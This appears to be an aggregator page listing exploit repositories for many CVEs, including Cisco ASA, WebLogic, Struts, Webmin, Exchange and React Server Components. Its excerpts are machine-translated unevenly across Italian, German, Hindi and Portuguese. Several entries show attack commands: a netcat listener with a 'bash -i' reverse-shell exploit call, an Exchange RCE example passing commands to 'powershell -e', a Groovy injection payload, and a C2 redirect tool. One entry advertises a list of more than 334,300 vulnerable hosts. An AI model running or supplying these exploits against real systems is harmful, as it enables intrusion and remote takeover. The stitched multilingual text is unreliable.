asa_tools

Verifica RCE Cisco ASA Questo script può essere utilizzato per verificare la presenza di CVE-2016-1287. Richiede python3 e il modulo python hexdump da installare root@kitploit: $ sudo pip3 install hexdump Può essere eseguito come segue root@kitploit: python3 cisco-asa.py IP.IP.IP.IP:port...

CVE-2025-4660

Description Un PoC per CVE-2025-4660, Forescout SecureConnector RCE forescoutredirect.py Questo è l'exploit stesso in cui puoi reindirizzare un agente verso un indirizzo IP specifico sotto il controllo dell'attaccante forescoutc2.py Una semplice implementazione di C2 che parla il linguaggio...

WebLogic-RCE-exploit

Questo repository non contiene un README...

CVE-2022-35411

rpc.py 0.6.0 - Esecuzione remota di codice RCE Exploit corretto da: Liquidsky...

CVE-2022-21445

CVE-2022-21445 Exploit - PoC Questo toolkit genera payload di exploit per CVE-2022-21445, una vulnerabilità critica di deserializzazione Java che colpisce Oracle WebLogic Server 12.2.1.x con Oracle ADF Faces. La falla risiede nel componente RemoteApplicationResourceLoader e permette a un attaccan...

CVE-2024-28397-js2py-Sandbox-Escape

CVE-2024-28397-js2py-Sandbox-Escape Analisi della vulnerabilità js2py Introduzione js2py è un popolare pacchetto Python in grado di valutare codice JavaScript all'interno dell'interprete Python. Viene utilizzato da vari web scraper per analizzare il codice JavaScript presente nei siti web. Esiste...

CVE-2021-21042

CVE-2021-21042 Codice di exploit per CVE-2021-21042...

CVE-2018-11776

CVE-2018-11776 Umgebung für CVE-2018-11776 / S2-057 Demo Server starten root@kitploit: $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit root@kitploit: $ nc -l 10000 or nc -lp 10000 root@kitploit: $ python3 exploit.py localhost:30080 'bash -i &...

Chakra-CVE-2019-0567

Chakra-CVE-2019-0567 chakracore फ्रेमवर्क में एक टाइप कन्फ्यूज़न बग का POC जो कोड निष्पादन की ओर ले जाता है। कॉनर मैकगैर के ब्लॉग पर आधारित https://connormcgarr.github.io/ नोट: Offsets और ROP gadgets आपके द्वारा उपयोग किए जाने वाले विंडोज संस्करण पर निर्भर करते हैं, इसलिए यह आपके लिए काम नहीं कर...

CVE-2022-22947

CVE-2022-22947 PoC per CVE-2022-22947 python CVE-202222947POC.py http://targetip:port/ Riferimenti a PoC e articoli di diversi esperti 1.https://github.com/chaosec2021/CVE-2022-22947-POC 2.https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/...

react2shell-interactive

React2Shell - CVE-2025-55182 PoC Interattivo Shell interattivo per sfruttare CVE-2025-55182, una vulnerabilità di Remote Code Execution nei React Server Components. Disclaimer Questo strumento è fornito esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI. Usalo solo su sistemi d...

CVE-2026-38526-PoC

CVE-2026-38526 | Krayin CRM v2.2.x Authentifizierte RCE - Uneingeschränkter PHP-Datei-Upload über TinyMCE Beschreibung CVE-2026-38526 ist eine kritische authentifizierte Remote-Codeausführungs-Schwachstelle, die Webkul Krayin CRM v2.2.x betrifft. Die Schwachstelle existiert im...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Esecuzione di codice remoto non autenticata Questo script è progettato per sfruttare la vulnerabilità di esecuzione di comandi non autenticata in Webmin 1.890. Ti permette di eseguire comandi arbitrari su un server Webmin target o di ottenere una shell inversa. Utilizz...

CVE-2024-31982

CVE-2024-31982 Java SSTI - führt zu RCE root@kitploit: async async=falsegroovyprintln"Successful Injection"/groovy/ root@kitploit: GET...

CVE-2025-55182-Exploit

React2Shell CVE-2025-55182 - Laboratorio Vulnerabile Docker Un'applicazione Next.js intenzionalmente vulnerabile che dimostra l'esecuzione di codice remoto RCE tramite gestione insicura dei processi figlio. Questo laboratorio è progettato per scopi educativi e test di sicurezza. ⚠️ AVVISO: NON...

CVE-2025-31324

Informazioni ░█▄█░█▀█░█░█░█░█░█░█░▀█▀░█▀█░█▀█░█▀▄░█░█ ░█░█░█▀▀░█░█░█░█░█▄█░░█░░█░█░█░█░█▀▄░░█░ ░▀░▀░▀░░░▀▀▀░▀▀▀░▀░▀░▀▀▀░▀░▀░▀░▀░▀░▀░░▀░ N U L L T R A C E // NullTrace :: Nessun log. Nessun rumore. Solo segnale. // ----- FIRMA----- Chiave: ssh-rsa AAAAB3...NullKey...KFA== Impronta:...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882/14883/14750 USO 1. clone este repositório 2. instale a biblioteca requests 3. python3 14882.py EXEMPLO root@kitploit: λ python3 14882.py -u http://...:7001 -c whoami + Command success result: win-t63ko18er74\administrator referência...

CVE-2022-24086-RCE

CVE-2022-24086-RCE Strumento di sfruttamento CVE-2022-24086 scritto in Python 3 compatibile con elenchi di URL/IP. Questo download include un elenco di oltre 334.300 host potenzialmente vulnerabili secondo shodan.io e scansioni personali. Questo strumento NON è gratuito per prevenire abusi. Al...

CVE-2020-0618_DETECTION

CVE-2020-0618 - PoC de Detecção de RCE no Microsoft SQL Server Reporting Services SSRS 📜 Descrição Este é um PoC simples para detectar CVE-2020-0618 , uma vulnerabilidade de execução remota de código que afeta o Microsoft SQL Server Reporting Services SSRS. A vulnerabilidade existe devido à...

CVE-2023-36745

CVE-2023-36745 Microsoft Exchange Server CVE-2023-36745 RCE PoC. Beispiel: root@kitploit: python3 exp.py -H exchange.webdxg.com -u webdxg.com\dddai -p 4IDF7LAU -s \192.168.237.131\Shares\ -c calc.exe Der Befehl wird an powershell -e übergeben...